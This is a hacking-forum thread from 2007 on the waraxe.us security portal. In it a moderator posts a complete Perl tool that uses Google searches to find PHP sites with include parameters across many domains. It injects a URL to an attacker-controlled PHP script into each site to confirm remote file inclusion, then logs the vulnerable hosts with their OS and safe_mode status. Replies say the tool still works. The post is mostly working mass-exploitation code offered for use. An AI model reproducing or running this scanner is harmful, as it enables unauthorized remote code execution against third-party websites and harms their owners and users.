Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 177
Members: 0
Total: 177
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Tools -> STNC 0day tool google-php-include-bugs searcher v 0.8
Post new topicReply to topic View previous topic :: View next topic
STNC 0day tool google-php-include-bugs searcher v 0.8
PostPosted: Tue Jul 10, 2007 8:33 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




Code:
#! /usr/bin/perl

# ================================================================ #
# google-php-include-bugs searcher v 0.8 #
# #
# #
# #
# ATTENTION. THIS SCRIPT IS PRIVATE. #
# .NOT FOR SALE. #
# #
# Usage: perl script.pl --log=<log-file> --url=<test-script-url> #
# Test script: #
# <?php #
# error_reporting(0); #
# $s = md5("STNC"); #
# $code = eregi("windows", php_uname())+ #
# 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ #
# 4*ini_get('safe_mode'); echo $s."[$code]".$s; #
# ?> #
# ================================================================ #

use IO::Socket;

@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
"inc", "incl", "include", "read", "write", "data", "code", "fname",
"filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
"seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
"corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
"conteudo");

@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
"info", "name", "aero", "biz", "edu", "ws", "in",
"cn", "us", "be", "it", "cc", "tv", "ru", "su",
"jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
"be", "fi", "gov");

@ftypes = ("php", "php3");

$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}

if(!($script && $log)){ usage(); exit; }

foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
foreach $ftype(@ftypes)
{
$request = "filetype:$ftype site:$zone inurl:$inc=";
print "\n[$request]\n";

$request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
@dn = ();

for($i = 0;$i < 10; $i++)
{
@temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
"00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
foreach $url (@temp)
{
if($url !~ /($inc=[^\&]+)/i) { next; }
$left = $`; $right = $';
if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
if($url =~ /google\.com/i){ next; }

($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
if($domain =~ /^www\.(.+)$/) { $domain = $1; }
$f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
push @dn, $domain;

$print = "$left$inc=[INCLUDE]$right";
if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
{
$s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
$count++;
print "[$count] $s";

open LOG, ">>$log";
print LOG $s;
close LOG;
}
else {
print "$print - no bugs\n";
}
}
}
}
}
}

sub timeout() { close $sock; }

sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";

if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM,
TimeOut => $timeout
) or return 0; # connection failed

print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

$SIG{ALRM} = \&timeout; alarm 10;
while(<$sock>){ $data .= $_; }
alarm 0; close $sock;
}

return $data;
}

sub usage()
{

print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
Test script:
<?php
error_reporting(0);
\$s = md5("STNC");
\$code = eregi("windows", php_uname())+
2*eregi("apache", getenv("SERVER_SOFTWARE"))+
4*ini_get('safe_mode'); echo \$s."[\$code]".\$s;
?>
);

}
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 6:05 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Very very old shit but thank you.
View user's profile Send private message
PostPosted: Fri Nov 07, 2008 4:50 pm Reply with quote
li0n
Beginner
Beginner
Joined: Nov 07, 2008
Posts: 4




pexli wrote:
Very very old shit but thank you.
tru dat, but still works great now and then
View user's profile Send private message MSN Messenger
STNC 0day tool google-php-include-bugs searcher v 0.8
www.waraxe.us Forum Index -> Tools
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds